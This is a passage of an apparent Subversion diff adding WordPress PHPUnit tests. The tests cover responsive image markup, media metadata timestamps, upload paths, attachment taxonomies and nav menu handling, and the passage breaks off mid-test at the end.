+		$img          = get_image_tag( self::$large_id, '', '', '', 'medium' );
+		$img_https    = str_replace( 'http://', 'https://', $img );
+		$img_relative = str_replace( 'http://', '//', $img );
+
+		// Manually add srcset and sizes to the markup from get_image_tag().
+		$respimg          = preg_replace( '|<img ([^>]+) />|', '<img $1 ' . $srcset . ' ' . $sizes . ' />', $img );
+		$respimg_https    = preg_replace( '|<img ([^>]+) />|', '<img $1 ' . $srcset . ' ' . $sizes . ' />', $img_https );
+		$respimg_relative = preg_replace( '|<img ([^>]+) />|', '<img $1 ' . $srcset . ' ' . $sizes . ' />', $img_relative );
+
+		$content = '
+			<p>Image, http: protocol. Should have srcset and sizes.</p>
+			%1$s
+
+			<p>Image, https: protocol. Should have srcset and sizes.</p>
+			%2$s
+
+			<p>Image, protocol-relative. Should have srcset and sizes.</p>
+			%3$s';
+
+		$unfiltered = sprintf( $content, $img, $img_https, $img_relative );
+		$expected   = sprintf( $content, $respimg, $respimg_https, $respimg_relative );
+		$actual     = wp_make_content_images_responsive( $unfiltered );
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * @ticket 34945
+	 * @ticket 33641
+	 */
+	function test_wp_get_attachment_image_with_https_on() {
+		// Mock meta for the image.
+		$image_meta = array(
+			'width'  => 1200,
+			'height' => 600,
+			'file'   => 'test.jpg',
+			'sizes'  => array(
+				'thumbnail' => array(
+					'file'   => 'test-150x150.jpg',
+					'width'  => 150,
+					'height' => 150,
+				),
+				'medium'    => array(
+					'file'   => 'test-300x150.jpg',
+					'width'  => 300,
+					'height' => 150,
+				),
+				'large'     => array(
+					'file'   => 'test-1024x512.jpg',
+					'width'  => 1024,
+					'height' => 512,
+				),
+			)
+		);
+
+		// Test using the large file size.
+		$size_array = array( 1024, 512 );
+		$image_url  = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $image_meta['sizes']['large']['file'];
+
+		$_SERVER['HTTPS'] = 'on';
+
+		$expected = 'https://' . WP_TESTS_DOMAIN . '/wp-content/uploads/test-1024x512.jpg 1024w, https://' . WP_TESTS_DOMAIN . '/wp-content/uploads/test-300x150.jpg 300w, https://' . WP_TESTS_DOMAIN . '/wp-content/uploads/test.jpg 1200w';
+		$actual   = wp_calculate_image_srcset( $size_array, $image_url, $image_meta );
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * @ticket 36084
+	 */
+	function test_get_image_send_to_editor_defaults() {
+		$id      = self::$large_id;
+		$caption = '';
+		$title   = 'A test title value.';
+		$align   = 'left';
+
+		// Calculate attachment data (default is medium).
+		$attachment = wp_get_attachment_image_src( $id, 'medium' );
+
+		$html = '<img src="%1$s" alt="" width="%2$d" height="%3$d" class="align%4$s size-medium wp-image-%5$d" />';
+		$expected = sprintf( $html, $attachment[0], $attachment[1], $attachment[2], $align, $id );
+
+		$this->assertSame( $expected, get_image_send_to_editor( $id, $caption, $title, $align ) );
+
+		$this->assertSame( $expected, get_image_send_to_editor( $id, $caption, $title, $align ) );
+	}
+
+	/**
+	 * @ticket 36084
+	 */
+	function test_get_image_send_to_editor_defaults_with_optional_params() {
+		$id      = self::$large_id;
+		$caption = 'A test caption.';
+		$title   = 'A test title value.';
+		$align   = 'left';
+		$url     = get_permalink( $id );
+		$rel     = true;
+		$size    = 'thumbnail';
+		$alt     = 'An example alt value.';
+
+		// Calculate attachment data.
+		$attachment = wp_get_attachment_image_src( $id, $size );
+
+		$html = '<a href="%1$s" rel="%2$s"><img src="%3$s" alt="%4$s" width="%5$d" height="%6$d" class="size-%8$s wp-image-%9$d" /></a>';
+		$html = '[caption id="attachment_%9$d" align="align%7$s" width="%5$d"]' . $html . ' %10$s[/caption]';
+
+		$expected = sprintf( $html, $url, 'attachment wp-att-' . $id, $attachment[0], $alt, $attachment[1], $attachment[2], $align, $size, $id, $caption );
+
+		$this->assertSame( $expected, get_image_send_to_editor( $id, $caption, $title, $align, $url, $rel, $size, $alt ) );
+	}
+
+	/**
+	 * @ticket 36084
+	 */
+	function test_get_image_send_to_editor_defaults_no_caption_no_rel() {
+		$id      = self::$large_id;
+		$caption = '';
+		$title   = 'A test title value.';
+		$align   = 'left';
+		$url     = get_permalink( $id );
+		$rel     = '';
+		$size    = 'thumbnail';
+		$alt     = 'An example alt value.';
+
+		// Calculate attachment data.
+		$attachment = wp_get_attachment_image_src( $id, $size );
+
+		$html = '<a href="%1$s"><img src="%2$s" alt="%3$s" width="%4$d" height="%5$d" class="align%6$s size-%7$s wp-image-%8$d" /></a>';
+
+		$expected = sprintf( $html, $url, $attachment[0], $alt, $attachment[1], $attachment[2], $align, $size, $id );
+
+		$this->assertSame( $expected, get_image_send_to_editor( $id, $caption, $title, $align, $url, $rel, $size, $alt ) );
+	}
+
+	/**
+	 * Tests if wp_get_attachment_image() uses wp_get_attachment_metadata().
+	 *
+	 * In this way, the meta data can be filtered using the filter
+	 * `wp_get_attachment_metadata`.
+	 *
+	 * The test checks if the image size that is added in the filter is
+	 * used in the output of `wp_get_attachment_image()`.
+	 *
+	 * @ticket 36246
+	 */
+	function test_wp_get_attachment_image_should_use_wp_get_attachment_metadata() {
+		add_filter( 'wp_get_attachment_metadata', array( $this, '_filter_36246' ), 10, 2 );
+
+		remove_all_filters( 'wp_calculate_image_sizes' );
+
+		$actual = wp_get_attachment_image( self::$large_id, 'testsize' );
+		$year = date( 'Y' );
+		$month = date( 'm' );
+
+		$expected = '<img width="999" height="999" src="http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $year . '/' . $month . '/test-image-testsize-999x999.png"' .
+			' class="attachment-testsize size-testsize" alt=""' .
+			' srcset="http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $year . '/' . $month . '/test-image-testsize-999x999.png 999w,' .
+				' http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $year . '/' . $month . '/test-image-large-150x150.png 150w"' .
+				' sizes="(max-width: 999px) 100vw, 999px" />';
+
+		remove_filter( 'wp_get_attachment_metadata', array( $this, '_filter_36246' ) );
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	function _filter_36246( $data, $attachment_id ) {
+		$data['sizes']['testsize'] = array(
+			'file' => 'test-image-testsize-999x999.png',
+			'width' => 999,
+			'height' => 999,
+			'mime-type' => 'image/png',
+		);
+		return $data;
+	}
+
+	/**
+	 * @ticket 37813
+	 */
+	public function test_return_type_when_inserting_attachment_with_error_in_data() {
+		$data = array(
+			'post_status'  => 'public',
+			'post_content' => 'Attachment content',
+			'post_title'   => 'Attachment Title',
+			'post_date'    => '2012-02-30 00:00:00',
+		);
+
+		$attachment_id = wp_insert_attachment( $data, '', 0, true );
+		$this->assertWPError( $attachment_id );
+		$this->assertEquals( 'invalid_date', $attachment_id->get_error_code() );
+
+		$attachment_id = wp_insert_attachment( $data, '', 0 );
+		$this->assertSame( 0, $attachment_id );
+	}
+
+	/**
+	 * @ticket 35218
+	 */
+	function test_wp_get_media_creation_timestamp_video_asf() {
+		$metadata = array(
+			'fileformat' => 'asf',
+			'asf'        => array(
+				'file_properties_object' => array(
+					'creation_date_unix' => 123,
+				),
+			),
+		);
+
+		$this->assertEquals( 123, wp_get_media_creation_timestamp( $metadata ) );
+	}
+
+	/**
+	 * @ticket 35218
+	 */
+	function test_wp_get_media_creation_timestamp_video_matroska() {
+		$metadata = array(
+			'fileformat' => 'matroska',
+			'matroska'   => array(
+				'comments' => array(
+					'creation_time' => array(
+						'2015-12-24T17:40:09Z'
+					),
+				),
+			),
+		);
+
+		$this->assertEquals( 1450978809, wp_get_media_creation_timestamp( $metadata ) );
+	}
+
+	/**
+	 * @ticket 35218
+	 */
+	function test_wp_get_media_creation_timestamp_video_quicktime() {
+		$metadata = array(
+			'fileformat' => 'quicktime',
+			'quicktime'  => array(
+				'moov' => array(
+					'subatoms' => array(
+						array(
+							'creation_time_unix' => 1450978805,
+						),
+					),
+				),
+			),
+		);
+
+		$this->assertEquals( 1450978805, wp_get_media_creation_timestamp( $metadata ) );
+	}
+
+	/**
+	 * @ticket 35218
+	 */
+	function test_wp_get_media_creation_timestamp_video_webm() {
+		$metadata = array(
+			'fileformat' => 'webm',
+			'matroska'   => array(
+				'info' => array(
+					array(
+						'DateUTC_unix' => 1265680539,
+					),
+				),
+			),
+		);
+
+		$this->assertEquals( 1265680539, wp_get_media_creation_timestamp( $metadata ) );
+	}
+
+	/**
+	 * @ticket 35218
+	 */
+	function test_wp_read_video_metadata_adds_creation_date_with_quicktime() {
+		$video    = DIR_TESTDATA . '/uploads/small-video.mov';
+		$metadata = wp_read_video_metadata( $video );
+
+		$this->assertEquals( 1269120551, $metadata['created_timestamp'] );
+	}
+
+	/**
+	 * @ticket 35218
+	 */
+	function test_wp_read_video_metadata_adds_creation_date_with_mp4() {
+		$video    = DIR_TESTDATA . '/uploads/small-video.mp4';
+		$metadata = wp_read_video_metadata( $video );
+
+		$this->assertEquals( 1269120551, $metadata['created_timestamp'] );
+	}
+
+	/**
+	 * @ticket 35218
+	 */
+	function test_wp_read_video_metadata_adds_creation_date_with_mkv() {
+		$video    = DIR_TESTDATA . '/uploads/small-video.mkv';
+		$metadata = wp_read_video_metadata( $video );
+
+		$this->assertEquals( 1269120551, $metadata['created_timestamp'] );
+	}
+
+	/**
+	 * @ticket 35218
+	 */
+	function test_wp_read_video_metadata_adds_creation_date_with_webm() {
+		$video    = DIR_TESTDATA . '/uploads/small-video.webm';
+		$metadata = wp_read_video_metadata( $video );
+
+		$this->assertEquals( 1269120551, $metadata['created_timestamp'] );
+	}
+
+	/**
+	 * @ticket 10752
+	 */
+	public function test_media_handle_upload_uses_post_parent_for_directory_date() {
+		$iptc_file = DIR_TESTDATA . '/images/test-image-iptc.jpg';
+
+		// Make a copy of this file as it gets moved during the file upload
+		$tmp_name = wp_tempnam( $iptc_file );
+
+		copy( $iptc_file, $tmp_name );
+
+		$_FILES['upload'] = array(
+			'tmp_name' => $tmp_name,
+			'name'     => 'test-image-iptc.jpg',
+			'type'     => 'image/jpeg',
+			'error'    => 0,
+			'size'     => filesize( $iptc_file )
+		);
+
+		$parent_id = self::factory()->post->create( array( 'post_date' => '2010-01-01' ) );
+
+		$post_id = media_handle_upload( 'upload', $parent_id, array(), array( 'action' => 'test_iptc_upload', 'test_form' => false ) );
+
+		unset( $_FILES['upload'] );
+
+		$url = wp_get_attachment_url( $post_id );
+
+		// Clean up.
+		wp_delete_attachment( $post_id );
+		wp_delete_post( $parent_id );
+
+		$this->assertSame( 'http://example.org/wp-content/uploads/2010/01/test-image-iptc.jpg', $url );
+	}
+
+	/**
+	 * @ticket 10752
+	 */
+	public function test_media_handle_upload_ignores_page_parent_for_directory_date() {
+		$iptc_file = DIR_TESTDATA . '/images/test-image-iptc.jpg';
+
+		// Make a copy of this file as it gets moved during the file upload
+		$tmp_name = wp_tempnam( $iptc_file );
+
+		copy( $iptc_file, $tmp_name );
+
+		$_FILES['upload'] = array(
+			'tmp_name' => $tmp_name,
+			'name'     => 'test-image-iptc.jpg',
+			'type'     => 'image/jpeg',
+			'error'    => 0,
+			'size'     => filesize( $iptc_file )
+		);
+
+		$parent_id = self::factory()->post->create( array( 'post_date' => '2010-01-01', 'post_type' => 'page' ) );
+		$parent = get_post( $parent_id );
+
+		$post_id = media_handle_upload( 'upload', $parent_id, array(), array( 'action' => 'test_iptc_upload', 'test_form' => false ) );
+
+		unset( $_FILES['upload'] );
+
+		$url = wp_get_attachment_url( $post_id );
+
+		$uploads_dir = wp_upload_dir( current_time( 'mysql' ) );
+
+		$expected = $uploads_dir['url'] . 'test-image-iptc.jpg';
+
+		// Clean up.
+		wp_delete_attachment( $post_id );
+		wp_delete_post( $parent_id );
+
+		$this->assertNotEquals( $expected, $url );
+	}
+}
+
+/**
+ * Helper class for `test_autoembed`.
+ */
+class Test_Autoembed extends WP_Embed {
+	public function shortcode( $attr, $url = '' ) {
+		return '[embed]';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/media/getAttachmentTaxonomies.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/media/getAttachmentTaxonomies.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/media/getAttachmentTaxonomies.php	(revision 56912)
@@ -0,0 +1,121 @@
+<?php
+
+/**
+ * @group media
+ * @group taxonomy
+ */
+class Tests_Media_GetAttachmentTaxonomies extends WP_UnitTestCase {
+	public function test_should_return_attachment_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'attachment' );
+
+		$a = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		$attachment = get_post( $a );
+
+		$found = get_attachment_taxonomies( $attachment, 'names' );
+		$expected = array( 'wptests_tax' );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_should_return_taxonomy_registered_for_specific_attachment_type() {
+		register_taxonomy( 'wptests_tax', 'attachment:image' );
+
+		$a = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		$attachment = get_post( $a );
+
+		$found = get_attachment_taxonomies( $attachment, 'names' );
+		$expected = array( 'wptests_tax' );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_should_return_taxonomy_registered_for_specific_attachment_mimetype() {
+		register_taxonomy( 'wptests_tax', 'attachment:image/jpeg' );
+
+		$a = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		$attachment = get_post( $a );
+
+		$found = get_attachment_taxonomies( $attachment, 'names' );
+		$expected = array( 'wptests_tax' );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_should_return_taxonomy_registered_for_specific_file_extension() {
+		register_taxonomy( 'wptests_tax', 'attachment:jpg' );
+
+		$a = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		$attachment = get_post( $a );
+
+		$found = get_attachment_taxonomies( $attachment, 'names' );
+		$expected = array( 'wptests_tax' );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_should_not_return_duplicate_taxonomies() {
+		register_taxonomy( 'wptests_tax', array( 'attachment', 'attachment:image/jpeg' ) );
+
+		$a = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		$attachment = get_post( $a );
+
+		$found = get_attachment_taxonomies( $attachment, 'names' );
+		$expected = array( 'wptests_tax' );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	/**
+	 * @ticket 37368
+	 */
+	public function test_should_respect_output_objects() {
+		register_taxonomy( 'wptests_tax2', 'attachment:image' );
+
+		$a = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		$attachment = get_post( $a );
+
+		$found = get_attachment_taxonomies( $attachment, 'objects' );
+
+		$this->assertSame( array( 'wptests_tax2' ), array_keys( $found ) );
+		$this->assertInternalType( 'object', $found['wptests_tax2'] );
+		$this->assertSame( 'wptests_tax2', $found['wptests_tax2']->name );
+	}
+
+
+	/**
+	 * @ticket 37368
+	 */
+	public function test_should_return_unique_taxonomies_for_output_objects() {
+		register_taxonomy( 'wptests_tax2', array( 'attachment:image', 'attachment:image/jpeg' ) );
+
+		$a = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		$attachment = get_post( $a );
+
+		$found = get_attachment_taxonomies( $attachment, 'objects' );
+
+		$this->assertSame( array( 'wptests_tax2' ), array_keys( $found ) );
+		$this->assertInternalType( 'object', $found['wptests_tax2'] );
+		$this->assertSame( 'wptests_tax2', $found['wptests_tax2']->name );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/menu/nav-menu.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/menu/nav-menu.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/menu/nav-menu.php	(revision 56912)
@@ -0,0 +1,228 @@
+<?php
+
+/**
+ * @group navmenus
+ */
+class Tests_Nav_Menu_Theme_Change extends WP_UnitTestCase {
+
+	/**
+	 * Set up.
+	 */
+	function setUp() {
+		parent::setUp();
+
+		// Unregister all nav menu locations.
+		foreach ( array_keys( get_registered_nav_menus() ) as $location ) {
+			unregister_nav_menu( $location );
+		}
+	}
+
+	/**
+	 * Register nav menu locations.
+	 *
+	 * @param array $locations Location slugs.
+	 */
+	function register_nav_menu_locations( $locations ) {
+		foreach ( $locations as $location ) {
+			register_nav_menu( $location, ucfirst( $location ) );
+		}
+	}
+
+	/**
+	 * Two themes with one location each should just map, switching to a theme not previously-active.
+	 *
+	 * @covers wp_map_nav_menu_locations()
+	 */
+	function test_one_location_each() {
+		$this->register_nav_menu_locations( array( 'primary' ) );
+		$prev_theme_nav_menu_locations = array(
+			'unique-slug' => 1,
+		);
+		$old_next_theme_nav_menu_locations = array(); // It was not active before.
+		$new_next_theme_nav_menu_locations = wp_map_nav_menu_locations( $old_next_theme_nav_menu_locations, $prev_theme_nav_menu_locations );
+
+		$expected_nav_menu_locations = array(
+			'primary' => 1,
+		);
+		$this->assertEquals( $expected_nav_menu_locations, $new_next_theme_nav_menu_locations );
+	}
+
+	/**
+	 * Only registered locations should be mapped and returned.
+	 *
+	 * @covers wp_map_nav_menu_locations()
+	 */
+	function test_filter_registered_locations() {
+		$this->register_nav_menu_locations( array( 'primary', 'secondary' ) );
+		$old_next_theme_nav_menu_locations = $prev_theme_nav_menu_locations = array(
+			'primary' => 1,
+			'secondary' => 2,
+			'social' => 3,
+		);
+		$new_next_theme_nav_menu_locations = wp_map_nav_menu_locations( $old_next_theme_nav_menu_locations, $prev_theme_nav_menu_locations );
+
+		$expected_nav_menu_locations = array(
+			'primary' => 1,
+			'secondary' => 2,
+		);
+		$this->assertEquals( $expected_nav_menu_locations, $new_next_theme_nav_menu_locations );
+	}
+
+	/**
+	 * Locations with the same name should map, switching to a theme not previously-active.
+	 *
+	 * @covers wp_map_nav_menu_locations()
+	 */
+	function test_locations_with_same_slug() {
+		$this->register_nav_menu_locations( array( 'primary', 'secondary' ) );
+		$prev_theme_nav_menu_locations = array(
+			'primary' => 1,
+			'secondary' => 2,
+		);
+
+		$old_next_theme_nav_menu_locations = array(); // It was not active before.
+		$new_next_theme_nav_menu_locations = wp_map_nav_menu_locations( $old_next_theme_nav_menu_locations, $prev_theme_nav_menu_locations );
+
+		$expected_nav_menu_locations = $prev_theme_nav_menu_locations;
+		$this->assertEquals( $expected_nav_menu_locations, $new_next_theme_nav_menu_locations );
+	}
+
+	/**
+	 * If the new theme was previously active, we should honor any changes to nav menu mapping done when the other theme was active.
+	 *
+	 * @covers wp_map_nav_menu_locations()
+	 */
+	function test_new_theme_previously_active() {
+		$this->register_nav_menu_locations( array( 'primary' ) );
+
+		$prev_theme_nav_menu_locations = array(
+			'primary' => 1,
+			'secondary' => 2,
+		);
+
+		// Nav menu location assignments that were set on the next theme when it was previously active.
+		$old_next_theme_nav_menu_locations = array(
+			'primary' => 3,
+		);
+
+		$new_next_theme_nav_menu_locations = wp_map_nav_menu_locations( $old_next_theme_nav_menu_locations, $prev_theme_nav_menu_locations );
+
+		$expected_nav_menu_locations = wp_array_slice_assoc( $prev_theme_nav_menu_locations, array_keys( get_registered_nav_menus() ) );
+		$this->assertEquals( $expected_nav_menu_locations, $new_next_theme_nav_menu_locations );
+	}
+
+	/**
+	 * Make educated guesses on theme locations.
+	 *
+	 * @covers wp_map_nav_menu_locations()
+	 */
+	function test_location_guessing() {
+		$this->register_nav_menu_locations( array( 'primary', 'secondary' ) );
+
+		$prev_theme_nav_menu_locations = array(
+			'header' => 1,
+			'footer' => 2,
+		);
+
+		$old_next_theme_nav_menu_locations = array();
+		$new_next_theme_nav_menu_locations = wp_map_nav_menu_locations( $old_next_theme_nav_menu_locations, $prev_theme_nav_menu_locations );
+
+		$expected_nav_menu_locations = array(
+			'primary' => 1,
+			'secondary' => 2,
+		);
+		$this->assertEquals( $expected_nav_menu_locations, $new_next_theme_nav_menu_locations );
+	}
+
+	/**
+	 * Make sure two locations that fall in the same group don't get the same menu assigned.
+	 *
+	 * @covers wp_map_nav_menu_locations()
+	 */
+	function test_location_guessing_one_menu_per_group() {
+		$this->register_nav_menu_locations( array( 'primary' ) );
+		$prev_theme_nav_menu_locations = array(
+			'top-menu' => 1,
+			'secondary' => 2,
+		);
+
+		$old_next_theme_nav_menu_locations = array();
+		$new_next_theme_nav_menu_locations = wp_map_nav_menu_locations( $old_next_theme_nav_menu_locations, $prev_theme_nav_menu_locations );
+
+		$expected_nav_menu_locations = array(
+			'main' => 1,
+		);
+		$this->assertEqualSets( $expected_nav_menu_locations, $new_next_theme_nav_menu_locations );
+	}
+
+	/**
+	 * Make sure two locations that fall in the same group get menus assigned from the same group.
+	 *
+	 * @covers wp_map_nav_menu_locations()
+	 */
+	function test_location_guessing_one_menu_per_location() {
+		$this->register_nav_menu_locations( array( 'primary', 'main' ) );
+
+		$prev_theme_nav_menu_locations = array(
+			'navigation-menu' => 1,
+			'top-menu' => 2,
+		);
+
+		$old_next_theme_nav_menu_locations = array();
+		$new_next_theme_nav_menu_locations = wp_map_nav_menu_locations( $old_next_theme_nav_menu_locations, $prev_theme_nav_menu_locations );
+
+		$expected_nav_menu_locations = array(
+			'primary' => 1,
+			'main' => 2,
+		);
+		$this->assertEquals( $expected_nav_menu_locations, $new_next_theme_nav_menu_locations );
+	}
+
+	/**
+	 * Technically possible to register menu locations numerically.
+	 *
+	 * @covers wp_map_nav_menu_locations()
+	 */
+	function test_numerical_locations() {
+		$this->register_nav_menu_locations( array( 'primary', 1 ) );
+
+		$prev_theme_nav_menu_locations = array(
+			'main' => 1,
+			'secondary' => 2,
+			'tertiary' => 3,
+		);
+
+		$old_next_theme_nav_menu_locations = array();
+		$new_next_theme_nav_menu_locations = wp_map_nav_menu_locations( $old_next_theme_nav_menu_locations, $prev_theme_nav_menu_locations );
+
+		$expected_nav_menu_locations = array(
+			'primary' => 1,
+		);
+		$this->assertEqualSets( $expected_nav_menu_locations, $new_next_theme_nav_menu_locations );
+	}
+
+	/**
+	 * Technically possible old nav menu locations were registered numerically.
+	 *
+	 * @covers wp_map_nav_menu_locations()
+	 */
+	public function test_numerical_old_locations() {
+		$this->register_nav_menu_locations( array( 'primary', 1 ) );
+
+		$old_nav_menu_locations = array(
+			'primary'  => 1,
+			'tertiary' => 2,
+			0          => 3,
+		);
+
+		$next_theme_nav_menu_locations     = array();
+		$new_next_theme_nav_menu_locations = wp_map_nav_menu_locations( $next_theme_nav_menu_locations, $old_nav_menu_locations );
+
+		$expected_nav_menu_locations = array(
+			'primary' => 1,
+			0         => 3,
+		);
+
+		$this->assertEqualSets( $expected_nav_menu_locations, $new_next_theme_nav_menu_locations );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/menu/walker-nav-menu-edit.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/menu/walker-nav-menu-edit.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/menu/walker-nav-menu-edit.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * @group navmenus
+ * @group walker
+ */
+class Tests_Walker_Nav_Menu_Edit extends WP_UnitTestCase {
+	protected $_wp_nav_menu_max_depth;
+
+	function setUp() {
+		global $_wp_nav_menu_max_depth;
+
+		parent::setUp();
+
+		/** Walker_Nav_Menu_Edit class */
+		require_once( ABSPATH . 'wp-admin/includes/class-walker-nav-menu-edit.php' );
+
+		$this->walker = new Walker_Nav_Menu_Edit();
+
+		$this->_wp_nav_menu_max_depth = $_wp_nav_menu_max_depth;
+	}
+
+	function tearDown() {
+		global $_wp_nav_menu_max_depth;
+
+		$_wp_nav_menu_max_depth = $this->_wp_nav_menu_max_depth;
+
+		parent::tearDown();
+	}
+
+	/**
+	 * @ticket 36729
+	 */
+	function test_original_title_prefix_should_not_be_shown_if_empty() {
+		$expected = '';
+
+		$post_id = $this->factory->post->create();
+
+		$item = array(
+			'classes'          => array(),
+			'description'      => '',
+			'ID'               => $post_id,
+			'menu_item_parent' => 0,
+			'menu_order'       => 0,
+			'object_id'        => $post_id,
+			'object'           => 'post',
+			'post_excerpt'     => get_the_excerpt( $post_id ),
+			'title'            => get_the_title( $post_id ),
+			'type'             => 'foobar',
+			'type_label'       => 'Foo Bar',
+			'target'           => '_blank',
+			'url'              => '',
+			'xfn'              => '',
+		);
+
+		$this->walker->start_el( $expected, (object) $item );
+
+		$this->assertNotRegExp( '#<p class="link-to-original">\s*Original: <a href=""></a>#', $expected );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/menu/wpAjaxMenuQuickSearch.php	(revision 56912)
@@ -0,0 +1,83 @@
+<?php
+
+/**
+ * @group menu
+ */
+class Tests_Menu_WpAjaxMenuQuickSeach extends WP_UnitTestCase {
+
+	/**
+	 * Current screen.
+	 *
+	 * @var mixed
+	 */
+	protected $current_screen;
+
+	/**
+	 * Set up. Workaround set_current_screen( null ) not working due to $hook_suffix not being set.
+	 */
+	function setUp() {
+		global $current_screen;
+		$this->current_screen = $current_screen;
+		parent::setUp();
+	}
+
+	/**
+	 * Tear down. Workaround set_current_screen( null ) not working due to $hook_suffix not being set.
+	 */
+	function tearDown() {
+		global $current_screen;
+		parent::tearDown();
+		$current_screen = $this->current_screen;
+	}
+
+	/**
+	 * Test search returns results for pages.
+	 *
+	 * @ticket 27042
+	 */
+	public function test_search_returns_results_for_pages() {
+		include_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+
+		self::factory()->post->create_many( 3, array( 'post_type' => 'page', 'post_content' => 'foo' ) );
+		self::factory()->post->create( array( 'post_type' => 'page', 'post_content' => 'bar' ) );
+
+		$request = array(
+			'type'            => 'quick-search-posttype-page',
+			'q'               => 'foo',
+			'response-format' => 'json',
+		);
+
+		$output = get_echo( '_wp_ajax_menu_quick_search', array( $request ) );
+		$this->assertNotEmpty( $output );
+
+		$results = explode( "\n", trim( $output ) );
+		$this->assertCount( 3, $results );
+	}
+
+	/**
+	 * Test that search only returns results for published posts.
+	 *
+	 * @ticket 33742
+	 */
+	public function test_search_returns_results_for_published_posts() {
+		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+
+		// This will make sure that WP_Query sets is_admin to true.
+		set_current_screen( 'nav-menu.php' );
+
+		self::factory()->post->create( array( 'post_type' => 'post', 'post_status' => 'publish', 'post_title' => 'Publish', 'post_content' => 'FOO' ) );
+		self::factory()->post->create( array( 'post_type' => 'post', 'post_status' => 'draft', 'post_title' => 'Draft', 'post_content' => 'FOO' ) );
+		self::factory()->post->create( array( 'post_type' => 'post', 'post_status' => 'pending', 'post_title' => 'Pending', 'post_content' => 'FOO' ) );
+		self::factory()->post->create( array( 'post_type' => 'post', 'post_status' => 'future', 'post_title' => 'Future', 'post_content' => 'FOO', 'post_date' => gmdate( 'Y-m-d H:i:s', strtotime( '+1 month' ) ) ) );
+
+		$request = array(
+			'type' => 'quick-search-posttype-post',
+			'q' => 'FOO',
+		);
+		$output = get_echo( '_wp_ajax_menu_quick_search', array( $request ) );
+
+		$this->assertNotEmpty( $output );
+		$results = explode( "\n", trim( $output ) );
+		$this->assertCount( 1, $results );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/menu/wpExpandNavMenuPostData.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/menu/wpExpandNavMenuPostData.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/menu/wpExpandNavMenuPostData.php	(revision 56912)
@@ -0,0 +1,105 @@
+<?php
+
+/**
+ * @group menu
+ * @ticket 36590
+ */
+class Tests_Menu_WpExpandNavMenuPostData extends WP_UnitTestCase {
+	public function test_unnested_data_should_expand() {
+		include_once( ABSPATH . 'wp-admin/includes/nav-menu.php' );
+
+		if ( empty( $_POST ) ) {
+			$_POST = array();
+		}
+
+		$data = array();
+		$data[0] = new StdClass;
+		$data[0]->name = 'yesorno';
+		$data[0]->value = 'yes';
+		$_POST['nav-menu-data'] = addslashes( json_encode( $data ) );
+
+		_wp_expand_nav_menu_post_data();
+
+		$expected = array(
+			'nav-menu-data' => $_POST['nav-menu-data'],
+			'yesorno' => 'yes'
+		);
+
+		$this->assertEquals( $expected, $_POST );
+	}
+
+	public function test_multidimensional_nested_array_should_expand() {
+		include_once( ABSPATH . 'wp-admin/includes/nav-menu.php' );
+
+		if ( empty( $_POST ) ) {
+			$_POST = array();
+		}
+
+		$data = array();
+		$data[0] = new StdClass;
+		$data[0]->name = 'would[1][do][the][trick]';
+		$data[0]->value = 'yes';
+		$_POST['nav-menu-data'] = addslashes( json_encode( $data ) );
+
+		_wp_expand_nav_menu_post_data();
+
+		$expected = array(
+			'nav-menu-data' => $_POST['nav-menu-data'],
+			'would' => array(
+				1 => array(
+					'do' => array(
+						'the' => array(
+							'trick' => 'yes',
+						),
+					),
+				),
+			),
+		);
+		$this->assertEquals( $expected, $_POST );
+	}
+
+	public function test_multidimensional_nested_array_should_expand_and_merge() {
+		include_once( ABSPATH . 'wp-admin/includes/nav-menu.php' );
+
+		if ( empty( $_POST ) ) {
+			$_POST = array();
+		}
+
+		$data = array();
+		$data[0] = new StdClass;
+		$data[0]->name = 'would[1][do][the][trick]';
+		$data[0]->value = 'yes';
+		$data[1] = new StdClass;
+		$data[1]->name = 'would[2][do][the][trick]';
